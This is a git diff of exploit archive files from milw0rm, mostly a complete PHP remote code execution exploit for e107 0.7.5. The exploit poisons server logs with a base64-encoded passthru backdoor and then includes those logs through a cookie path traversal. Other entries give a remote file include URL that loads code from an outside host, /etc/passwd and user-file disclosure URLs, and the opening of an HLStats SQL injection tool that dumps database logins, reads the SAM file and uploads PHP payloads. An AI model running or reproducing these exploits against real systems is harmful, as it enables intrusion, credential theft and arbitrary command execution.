-    if (!$ock) {
-      echo 'No response from '.$host.':'.$port; die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$proxy);
-    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-}
-function make_seed()
-{
-   list($usec, $sec) = explode(' ', microtime());
-   return (float) $sec + ((float) $usec * 100000);
-}
-
-$host=$argv[1];
-$path=$argv[2];
-$username=$argv[3];
-$password=$argv[4];
-$id=$argv[5];
-$session=$argv[6];
-$date=$argv[7];
-$cmd="";
-
-$port=80;
-$proxy="";
-for ($i=8; $i<$argc; $i++){
-$temp=$argv[$i][0].$argv[$i][1];
-if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
-if ($temp=="-p")
-{
-  $port=str_replace("-p","",$argv[$i]);
-}
-if ($temp=="-P")
-{
-  $proxy=str_replace("-P","",$argv[$i]);
-}
-}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-
-
-echo "[1] insert evil code in logfiles ...\r\n\r\n";
-$hauru = base64_decode("Jzw/cGhwIG9iX2NsZWFuKCk7Ly9SdWNob215IHphbWVrIEhhdXJ1IDstKWVjaG8iLi4uSGFja2VyLi5LYWNwZXIuLk1hZGUuLmluLi5Qb2xhbmQhIS4uLkRFVklMLlRFQU0uLnRoZS4uYmVzdC4ucG9saXNoLi50ZWFtLi5HcmVldHouLi4iO2VjaG8iLi4uR28gVG8gREVWSUwgVEVBTSBJUkM6IDcyLjIwLjE4LjY6NjY2NyAjZGV2aWx0ZWFtIjtlY2hvIi4uLkRFVklMIFRFQU0gU0lURTogaHR0cDovL3d3dy5yYWhpbS53ZWJkLnBsLyI7aW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwwKTtlY2hvICJIYXVydSI7cGFzc3RocnUoJF9TRVJWRVJbSFRUUF9IQVVSVV0pO2RpZTs/Pg==");
-$packet="GET ".$p.$hauru." HTTP/1.0\r\n";
-$packet.="User-Agent: ".$hauru." Googlebot/2.1\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: close\r\n\r\n";
-sendpacket($packet);
-sleep(3);
-
-$data.='-----------------------------7d6224c08dc
-Content-Disposition: form-data; name="username"
-
-'.$username.'
------------------------------7d6224c08dc
-Content-Disposition: form-data; name="userpass"
-
-'.$password.'
------------------------------7d6224c08dc
-Content-Disposition: form-data; name="userlogin"
-
-Log In
------------------------------7d6224c08dc--
-';
-
-echo "login hauru in e107...\n";
-$packet ="POST ".$p."login.php HTTP/1.0\r\n";
-$packet.="User-Agent: ".$hauru."\r\n";
-$packet.="CLIENT-IP: 999.999.999.999\r\n";
-$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-$packet.=$data;
-sendpacket($packet);
-sleep(1);
-
-echo "insert hauru in e107...\n";
-$packet ="POST ".$p."index.php?logout HTTP/1.0\r\n";
-$packet.="Cookie: e107cookie=".$id.".".$session.";\r\n";
-$packet.="User-Agent: ".$hauru."\r\n";
-$packet.="CLIENT-IP: 999.999.999.999\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-$packet.=$data;
-sendpacket($packet);
-sleep(1);
-
-
-echo " now remote code execution...\n";
-$packet ="GET ".$p."gsitemap.php HTTP/1.1\r\n";
-$packet.="Cookie: e107language_e107cookie=../e107_plugins/log/logs/logi_".$date.".php%00;\r\n";
-$packet.="HAURU: ".$cmd."\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-sendpacket($packet);
-if (strstr($html,"Hauru"))
-{
-$temp=explode("Hauru",$html);
-die($temp[1]);
-}
-
-$paths= array (
-"../../../../../var/log/httpd/access_log",
-"../../../../../var/log/httpd/error_log",
-"../apache/logs/error.log",
-"../apache/logs/access.log",
-"../../apache/logs/error.log",
-"../../apache/logs/access.log",
-"../../../apache/logs/error.log",
-"../../../apache/logs/access.log",
-"../../../../apache/logs/error.log",
-"../../../../apache/logs/access.log",
-"../../../../../apache/logs/error.log",
-"../../../../../apache/logs/access.log",
-"../logs/error.log",
-"../logs/access.log",
-"../../logs/error.log",
-"../../logs/access.log",
-"../../../logs/error.log",
-"../../../logs/access.log",
-"../../../../logs/error.log",
-"../../../../logs/access.log",
-"../../../../../logs/error.log",
-"../../../../../logs/access.log",
-"../../../../../etc/httpd/logs/access_log",
-"../../../../../etc/httpd/logs/access.log",
-"../../../../../etc/httpd/logs/error_log",
-"../../../../../etc/httpd/logs/error.log",
-"../../../../../var/www/logs/access_log",
-"../../../../../var/www/logs/access.log",
-"../../../../../usr/local/apache/logs/access_log",
-"../../../../../usr/local/apache/logs/access.log",
-"../../../../../var/log/apache/access_log",
-"../../../../../var/log/apache/access.log",
-"../../../../../var/log/access_log",
-"../../../../../var/www/logs/error_log",
-"../../../../../var/www/logs/error.log",
-"../../../../../usr/local/apache/logs/error_log",
-"../../../../../usr/local/apache/logs/error.log",
-"../../../../../var/log/apache/error_log",
-"../../../../../var/log/apache/error.log",
-"../../../../../var/log/access_log",
-"../../../../../var/log/error_log"
-);
-
-for ($i=0; $i<=count($paths)-1; $i++)
-{
-$a=$i+2;
-echo "[2] [".$a."] Check Path: ".$paths[$i]."\r\n";
-echo "[3] remote code execution...wait..\n";
-$packet ="GET ".$p."gsitemap.php HTTP/1.1\r\n";
-$packet.="Cookie: e107language_e107cookie=../".$paths[$i]."%00;\r\n";
-$packet.="HAURU: ".$cmd."\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-sendpacket($packet);
-if (strstr($html,"Hauru"))
-{
-$temp=explode("Hauru",$html);
-die($temp[1]);
-}
-}
-echo "Exploit err0r :(\r\n";
-echo "Go to DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n";
-?>
-
-# milw0rm.com [2006-11-04]
+<?
+
+print '
+:::::::::  :::::::::: :::     ::: ::::::::::: :::        
+:+:    :+: :+:        :+:     :+:     :+:     :+:        
++:+    +:+ +:+        +:+     +:+     +:+     +:+        
++#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
++#+    +#+ +#+         +#+   +#+      +#+     +#+        
+#+#    #+# #+#          #+#+#+#       #+#     #+#        
+#########  ##########     ###     ########### ########## 
+::::::::::: ::::::::::     :::     ::::    ::::  
+    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
+    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
+    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
+    +#+     +#+        +#+     +#+ +#+       +#+ 
+    #+#     #+#        #+#     #+# #+#       #+# 
+    ###     ########## ###     ### ###       ### 
+	
+   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+ 
+
+[Exploit name: e107 <= 0.7.5 Remote Code Execution Exploit
+[Script name: e107 v.0.7.5
+[Script site: http://e107.org/
+dork: "This site is powered by e107"
+
+
+
+Find by: Kacper (a.k.a Rahim)
+
+
+========>  DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam  <========
+========>         http://www.rahim.webd.pl/            <========
+
+Contact: kacper1964@yahoo.pl
+
+(c)od3d by Kacper
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+Greetings DragonHeart and all DEVIL TEAM Patriots :)
+- Leito & Leon 
+TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko, CrazzyIwan, Rammstein
+Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, nukedclx, SkD, MXZ, sysios, 
+mIvus, nukedclx, SkD, wacky, xoron
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                Greetings for 4ll Fusi0n Group members ;-)
+                and all members of hacker.com.pl ;)
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+';
+
+
+/*
+works with register_globals=On
+
+explaination:
+i find in file gsitemap.php on line 19-28:
+
+....
+require_once("class2.php");                             // <--------{1}
+
+if (file_exists(e_PLUGIN."gsitemap/languages/gsitemap_".e_LANGUAGE.".php"))
+{
+	include_once(e_PLUGIN."gsitemap/languages/gsitemap_".e_LANGUAGE.".php");
+}
+else
+{
+	include_once(e_PLUGIN."gsitemap/languages/gsitemap_English.php");
+}
+
+....
+
+in file class2.php on line 328-334:
+....
+$language=(isset($_COOKIE['e107language_'.$pref['cookie_name']]) ? $_COOKIE['e107language_'.$pref['cookie_name']] : ($pref['sitelanguage'] ? $pref['sitelanguage'] : "English"));         // <---------{2}
+define("e_LAN", $language);                            // <---------{3}
+define("USERLAN", ($user_language && (strpos(e_SELF, $PLUGINS_DIRECTORY) !== FALSE || (strpos(e_SELF, $ADMIN_DIRECTORY) === FALSE && file_exists(e_LANGUAGEDIR.$user_language."/lan_".e_PAGE)) || (strpos(e_SELF, $ADMIN_DIRECTORY) !== FALSE && file_exists(e_LANGUAGEDIR.$user_language."/admin/lan_".e_PAGE)) || file_exists(dirname($_SERVER['SCRIPT_FILENAME'])."/languages/".$user_language."/lan_".e_PAGE)    || (    (strpos(e_SELF, $ADMIN_DIRECTORY) == FALSE) && (strpos(e_SELF, $PLUGINS_DIRECTORY) == FALSE) && file_exists(e_LANGUAGEDIR.$user_language."/".$user_language.".php")  )   ) ? $user_language : FALSE));
+define("e_LANGUAGE", (!USERLAN || !defined("USERLAN") ? $language : USERLAN));                    // <---------{4}
+
+e107_include(e_LANGUAGEDIR.e_LANGUAGE."/".e_LANGUAGE.".php");                    // <---------{5}
+e107_include_once(e_LANGUAGEDIR.e_LANGUAGE."/".e_LANGUAGE."_custom.php");
+....
+
+so we can use: Cookie: e107language_e107cookie=../../../../../../../../../etc/passwd%00
+local include :)
+
+
+by Kacper ;)
+*/
+
+
+if ($argc<9) {
+print_r('
+-----------------------------------------------------------------------------
+Usage: php '.$argv[0].' host path username password user_id user_session date cmd OPTIONS
+host:      target server (ip/hostname)
+path:      e107 path
+username:  you registered login
+password:  you username password
+user_id:   you user ID
+user_session: user sid
+date:      current date, like: 307.2006 //$date = date("z.Y", time());
+cmd:       a shell command (ls -la)
+Options:
+ -p[port]:    specify a port other than 80
+ -P[ip:port]: specify a proxy
+Example:
+php '.$argv[0].' 2.2.2.2 /e107/ Hauru enter 99 c16d9ef241904bf801c6e45693387506 307.2006 ls -la -P1.1.1.1:80
+php '.$argv[0].' 1.1.1.1 / Hauru enter 99 c16d9ef241904bf801c6e45693387506 307.2006 ls -la
+-----------------------------------------------------------------------------
+');
+
+die;
+}
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+
+function quick_dump($string)
+{
+  $result='';$exa='';$cont=0;
+  for ($i=0; $i<=strlen($string)-1; $i++)
+  {
+   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+   {$result.="  .";}
+   else
+   {$result.="  ".$string[$i];}
+   if (strlen(dechex(ord($string[$i])))==2)
+   {$exa.=" ".dechex(ord($string[$i]));}
+   else
+   {$exa.=" 0".dechex(ord($string[$i]));}
+   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+  }
+ return $exa."\r\n".$result;
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+function sendpacket($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+}
+function make_seed()
+{
+   list($usec, $sec) = explode(' ', microtime());
+   return (float) $sec + ((float) $usec * 100000);
+}
+
+$host=$argv[1];
+$path=$argv[2];
+$username=$argv[3];
+$password=$argv[4];
+$id=$argv[5];
+$session=$argv[6];
+$date=$argv[7];
+$cmd="";
+
+$port=80;
+$proxy="";
+for ($i=8; $i<$argc; $i++){
+$temp=$argv[$i][0].$argv[$i][1];
+if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
+if ($temp=="-p")
+{
+  $port=str_replace("-p","",$argv[$i]);
+}
+if ($temp=="-P")
+{
+  $proxy=str_replace("-P","",$argv[$i]);
+}
+}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+
+
+echo "[1] insert evil code in logfiles ...\r\n\r\n";
+$hauru = base64_decode("Jzw/cGhwIG9iX2NsZWFuKCk7Ly9SdWNob215IHphbWVrIEhhdXJ1IDstKWVjaG8iLi4uSGFja2VyLi5LYWNwZXIuLk1hZGUuLmluLi5Qb2xhbmQhIS4uLkRFVklMLlRFQU0uLnRoZS4uYmVzdC4ucG9saXNoLi50ZWFtLi5HcmVldHouLi4iO2VjaG8iLi4uR28gVG8gREVWSUwgVEVBTSBJUkM6IDcyLjIwLjE4LjY6NjY2NyAjZGV2aWx0ZWFtIjtlY2hvIi4uLkRFVklMIFRFQU0gU0lURTogaHR0cDovL3d3dy5yYWhpbS53ZWJkLnBsLyI7aW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwwKTtlY2hvICJIYXVydSI7cGFzc3RocnUoJF9TRVJWRVJbSFRUUF9IQVVSVV0pO2RpZTs/Pg==");
+$packet="GET ".$p.$hauru." HTTP/1.0\r\n";
+$packet.="User-Agent: ".$hauru." Googlebot/2.1\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: close\r\n\r\n";
+sendpacket($packet);
+sleep(3);
+
+$data.='-----------------------------7d6224c08dc
+Content-Disposition: form-data; name="username"
+
+'.$username.'
+-----------------------------7d6224c08dc
+Content-Disposition: form-data; name="userpass"
+
+'.$password.'
+-----------------------------7d6224c08dc
+Content-Disposition: form-data; name="userlogin"
+
+Log In
+-----------------------------7d6224c08dc--
+';
+
+echo "login hauru in e107...\n";
+$packet ="POST ".$p."login.php HTTP/1.0\r\n";
+$packet.="User-Agent: ".$hauru."\r\n";
+$packet.="CLIENT-IP: 999.999.999.999\r\n";
+$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+$packet.=$data;
+sendpacket($packet);
+sleep(1);
+
+echo "insert hauru in e107...\n";
+$packet ="POST ".$p."index.php?logout HTTP/1.0\r\n";
+$packet.="Cookie: e107cookie=".$id.".".$session.";\r\n";
+$packet.="User-Agent: ".$hauru."\r\n";
+$packet.="CLIENT-IP: 999.999.999.999\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+$packet.=$data;
+sendpacket($packet);
+sleep(1);
+
+
+echo " now remote code execution...\n";
+$packet ="GET ".$p."gsitemap.php HTTP/1.1\r\n";
+$packet.="Cookie: e107language_e107cookie=../e107_plugins/log/logs/logi_".$date.".php%00;\r\n";
+$packet.="HAURU: ".$cmd."\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+sendpacket($packet);
+if (strstr($html,"Hauru"))
+{
+$temp=explode("Hauru",$html);
+die($temp[1]);
+}
+
+$paths= array (
+"../../../../../var/log/httpd/access_log",
+"../../../../../var/log/httpd/error_log",
+"../apache/logs/error.log",
+"../apache/logs/access.log",
+"../../apache/logs/error.log",
+"../../apache/logs/access.log",
+"../../../apache/logs/error.log",
+"../../../apache/logs/access.log",
+"../../../../apache/logs/error.log",
+"../../../../apache/logs/access.log",
+"../../../../../apache/logs/error.log",
+"../../../../../apache/logs/access.log",
+"../logs/error.log",
+"../logs/access.log",
+"../../logs/error.log",
+"../../logs/access.log",
+"../../../logs/error.log",
+"../../../logs/access.log",
+"../../../../logs/error.log",
+"../../../../logs/access.log",
+"../../../../../logs/error.log",
+"../../../../../logs/access.log",
+"../../../../../etc/httpd/logs/access_log",
+"../../../../../etc/httpd/logs/access.log",
+"../../../../../etc/httpd/logs/error_log",
+"../../../../../etc/httpd/logs/error.log",
+"../../../../../var/www/logs/access_log",
+"../../../../../var/www/logs/access.log",
+"../../../../../usr/local/apache/logs/access_log",
+"../../../../../usr/local/apache/logs/access.log",
+"../../../../../var/log/apache/access_log",
+"../../../../../var/log/apache/access.log",
+"../../../../../var/log/access_log",
+"../../../../../var/www/logs/error_log",
+"../../../../../var/www/logs/error.log",
+"../../../../../usr/local/apache/logs/error_log",
+"../../../../../usr/local/apache/logs/error.log",
+"../../../../../var/log/apache/error_log",
+"../../../../../var/log/apache/error.log",
+"../../../../../var/log/access_log",
+"../../../../../var/log/error_log"
+);
+
+for ($i=0; $i<=count($paths)-1; $i++)
+{
+$a=$i+2;
+echo "[2] [".$a."] Check Path: ".$paths[$i]."\r\n";
+echo "[3] remote code execution...wait..\n";
+$packet ="GET ".$p."gsitemap.php HTTP/1.1\r\n";
+$packet.="Cookie: e107language_e107cookie=../".$paths[$i]."%00;\r\n";
+$packet.="HAURU: ".$cmd."\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+sendpacket($packet);
+if (strstr($html,"Hauru"))
+{
+$temp=explode("Hauru",$html);
+die($temp[1]);
+}
+}
+echo "Exploit err0r :(\r\n";
+echo "Go to DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n";
+?>
+
+# milw0rm.com [2006-11-04]
diff --git a/platforms/php/webapps/2744.txt b/platforms/php/webapps/2744.txt
index 58d8412e1..b51652ef2 100755
--- a/platforms/php/webapps/2744.txt
+++ b/platforms/php/webapps/2744.txt
@@ -1,33 +1,33 @@
-#==================================================================================
-#  LetterIt (RFI)
-#==================================================================================
-# Info:-
-#
-# Scripts: LetterIt
-# download : http://otterware.net/index.php?dl=45
-# Version : 2
-# Dork & vuln : download scripts and think :)
-#
-#=================================================================================
-#Exploit :
-#
-#http://localhost/path/inc/session.php?sessionerror=0&lang=http://EvElCoDe.txt?
-#
-#=================================================================================
-#Discoverd By : v1per-haCker
-#
-#Conatact : v1per-hacker[at]hotmail.com
-#
-#XP10_hackEr Team               >>      www.xp10.com
-#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
-#
-#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |
-#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |
-#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |
-#               | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |
-#               |  MuhaciR  |Skrmhcr-GVinux | Jean |
-#
-# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
-#===================================================================================
-
-# milw0rm.com [2006-11-09]
+#==================================================================================
+#  LetterIt (RFI)
+#==================================================================================
+# Info:-
+#
+# Scripts: LetterIt
+# download : http://otterware.net/index.php?dl=45
+# Version : 2
+# Dork & vuln : download scripts and think :)
+#
+#=================================================================================
+#Exploit :
+#
+#http://localhost/path/inc/session.php?sessionerror=0&lang=http://EvElCoDe.txt?
+#
+#=================================================================================
+#Discoverd By : v1per-haCker
+#
+#Conatact : v1per-hacker[at]hotmail.com
+#
+#XP10_hackEr Team               >>      www.xp10.com
+#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
+#
+#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |
+#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |
+#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |
+#               | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |
+#               |  MuhaciR  |Skrmhcr-GVinux | Jean |
+#
+# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
+#===================================================================================
+
+# milw0rm.com [2006-11-09]
diff --git a/platforms/php/webapps/2862.txt b/platforms/php/webapps/2862.txt
index 0a1a3a2d8..0e82abdb2 100755
--- a/platforms/php/webapps/2862.txt
+++ b/platforms/php/webapps/2862.txt
@@ -1,24 +1,24 @@
-P-News V² -  (user.txt)  Information Disclosure Vulnerability
-
-
-**************************************************************
-Critical Level : Dangerous
-**************************************************************
-Script Download: http://download.planerd.net/dir/php
-**************************************************************
-Bugfounder: Lu7k
-**************************************************************
-Contact Me : www.school-of-hack.de or lu7k@mail.nu
-**************************************************************
-
------------------------------------------------------------------------------
-
-Code:http://target/path/db/user.txt
-
------------------------------------------------------------------------------
-
-*************************************************************
-Greetings: Bdrok - TheJT - MyMaster - str0ke
-*************************************************************
-
-# milw0rm.com [2006-11-28]
+P-News V² -  (user.txt)  Information Disclosure Vulnerability
+
+
+**************************************************************
+Critical Level : Dangerous
+**************************************************************
+Script Download: http://download.planerd.net/dir/php
+**************************************************************
+Bugfounder: Lu7k
+**************************************************************
+Contact Me : www.school-of-hack.de or lu7k@mail.nu
+**************************************************************
+
+-----------------------------------------------------------------------------
+
+Code:http://target/path/db/user.txt
+
+-----------------------------------------------------------------------------
+
+*************************************************************
+Greetings: Bdrok - TheJT - MyMaster - str0ke
+*************************************************************
+
+# milw0rm.com [2006-11-28]
diff --git a/platforms/php/webapps/2878.txt b/platforms/php/webapps/2878.txt
index d4cce606f..b05399fdc 100755
--- a/platforms/php/webapps/2878.txt
+++ b/platforms/php/webapps/2878.txt
@@ -1,19 +1,19 @@
-ContentServ again (still) features remote reading of arbitrary files
-====================================================================
-
-ContentServ is a cms and "cross media publishing" software.
-
-Let me quote from their website:
-
-"At ContentServ, there is always something happening. We continously enhance our products and services.[...]"
-
-Ok.
-
-Now for the real fun remember:
-http://archives.neohapsis.com/archives/fulldisclosure/2005-09/0650.html
-
-
-Still with me? Ok. Lets forget the sql injections for a moment, what if we try:
-http://somesite/contentserv/4.2/admin/FileServer.php?src=../../../../../etc/passwd
-
-# milw0rm.com [2006-12-01]
+ContentServ again (still) features remote reading of arbitrary files
+====================================================================
+
+ContentServ is a cms and "cross media publishing" software.
+
+Let me quote from their website:
+
+"At ContentServ, there is always something happening. We continously enhance our products and services.[...]"
+
+Ok.
+
+Now for the real fun remember:
+http://archives.neohapsis.com/archives/fulldisclosure/2005-09/0650.html
+
+
+Still with me? Ok. Lets forget the sql injections for a moment, what if we try:
+http://somesite/contentserv/4.2/admin/FileServer.php?src=../../../../../etc/passwd
+
+# milw0rm.com [2006-12-01]
diff --git a/platforms/php/webapps/30015.txt b/platforms/php/webapps/30015.txt
new file mode 100755
index 000000000..80d248875
--- /dev/null
+++ b/platforms/php/webapps/30015.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/23876/info
+
+Advanced Guestbook is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
+
+Exploiting this issue may allow an unauthorized user to view files and execute local scripts.
+
+Advanced Guestbook 2.4.2 is vulnerable to this issue; other versions may also be affected. 
+
+http://www.example.com/../../../hack_www/htdocs/hack 
\ No newline at end of file
diff --git a/platforms/php/webapps/3002.php b/platforms/php/webapps/3002.php
index 21c1cf34e..59e5726f0 100755
--- a/platforms/php/webapps/3002.php
+++ b/platforms/php/webapps/3002.php
@@ -1,392 +1,392 @@
-<br><b>
-<?php
-/*
-Live Exploit Code
-SQL Inection + Path Disclosure
-Affects HLStats HLStats <=1.34  and Hlstats >= 1.20
-works with magic_quotes_gpc=On
-by Michael Brooks
-*/
-
- print "<title>HLStats SQL Injection Exploit</title>
- <body bgcolor='#009900'>
- <font  color='#FF0000'>
-<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
-<center><b> <br>
-Welcome To HLstats Exploit code.<br><br>
-</b></center> 
-<br> 
-SQL Inection + Path Disclosure<br>
-Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>
-Tested on Linux and Windows<br>
-works with magic_quotes_gpc=On!<br>
-HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>
-Merry Christmass!<br>
-By Michael Brooks<br>
-<br>
-<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
-";
- 
- print "
- 	<form action='".$_SERVER['PHP_SELF']."' method='post'>
-	<b>Target:</b><br>
-	<input type='text' name='target' size=32><br>
-	(hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>
-	<br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>
-	<input type='text' name='proxy' size=32><br>
-	(example: 127.0.0.1:8118   Use <a href='http://tor.eff.org'>Tor</a>+<a href='http://www.privoxy.org/'>Privoxy</a>. )<br>
-	<br><br>
-	If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.
-<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
-	<H1>ATTACKS:</H1>
-	<br>
-	<b>Database Selects:</b><br>
-	<br>
-	OBTIAN HLStats logins:<br>
-	<input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker</a>)<br>
- 		
- 		  OBTIAN mysql.user logins:<br>
- 		<input type='submit' name='button' value='Mysql_Logins'><br>
-	<br>
-
-	<br>
- 	<b>File IO:</b><br><br>
- 	<b>Path Disclosure</b><br>
- 	<input type='submit' name='button' value='Path'><br>
-	<br>
-	<b>Plain Text Database Login Information</b><br>
-	<input type='submit' name='button' value='Read_Login'>
-	(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)<br>
-	<br>
-	<b>Read Other File</b><br>
-	<input type='submit' name='button' value='Read_File'>
-	<input type='text' name='read_file' size=50>
-	<br>example: /etc/passwd<br>
-	OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>
-	<br><b>attempt payload:</b>(WARNING,  NO PROXY IS USED FOR UPLOADING PAYLOAD)<br>
-	<input type='submit'  name='button' value='Upload'>
-	 &lt?php <input type='text' name='payload' size=50>?&gt <br>
-	example: system('netstat'); <br>
-	
-	</form>
-	<br><b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br>
-	";
-
- //generic http class
-class http{
-	var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';
-	
-	function http_gpc_send($loc ,$cookie="", $postdata = "") { 
-		 //overload function polymorphism between gets and posts
-		 $url=parse_url($loc);
-		 if(!isset($url['port'])){
-		   $url['port']=80;
-		}
-		//$ua=$_SERVER['HTTP_USER_AGENT'];
-		$ua='GPC/.01';
-		 if($this->proxy_ip!=''&&$this->proxy_port!=''){
-			$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
-			$url['path']=$url['host'].':'.$url['port'].$url['path'];
-		 }else{
-			$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
-		 }
-		 
-		 if( !$fp ) {
-		    print "$errstr ($errno)<br>\nn";
-		 } else {
-		    if( $postdata=='' ) {
-			fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
-		    } else {
-			fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
-		    }
-		    
-		    if($this->proxy_name!=''&&$this->proxy_pass!=''){
-			fputs($fp, "Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");
-		    }
-
-		    fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");
-		    fputs( $fp, "User-Agent: ".$ua."\r\n" );
-		    fputs( $fp, "Accept: text/plain\r\n" );
-		    fputs( $fp,"Connection: Close\r\n" );
-		    if($cookie!=''){ 
-			fputs( $fp, "Cookie: ".$cookie."\r\n" );
-		    }
-		    if( $postdata!='' ) {
-			$strlength = strlen( $postdata );
-			fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" );
-			fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );
-			fputs( $fp, $postdata);
-		    }
-		    fputs( $fp, "\n\n" );
-		    
-		   $output = "";
-		   while( !feof( $fp ) ) {
-			$output .= fgets( $fp, 1024 );
-		   }
-		    fclose( $fp );
-		 }
-		 return $output;
-	}
-	
-	function proxy($proxy){ //user:pass@ip:port
-		$proxyAuth=explode('@',$proxy);
-		if(isset($proxyAuth[1])){
-			$login=explode(':',$proxyAuth[0]);
-			$this->proxy_name=$login[0];
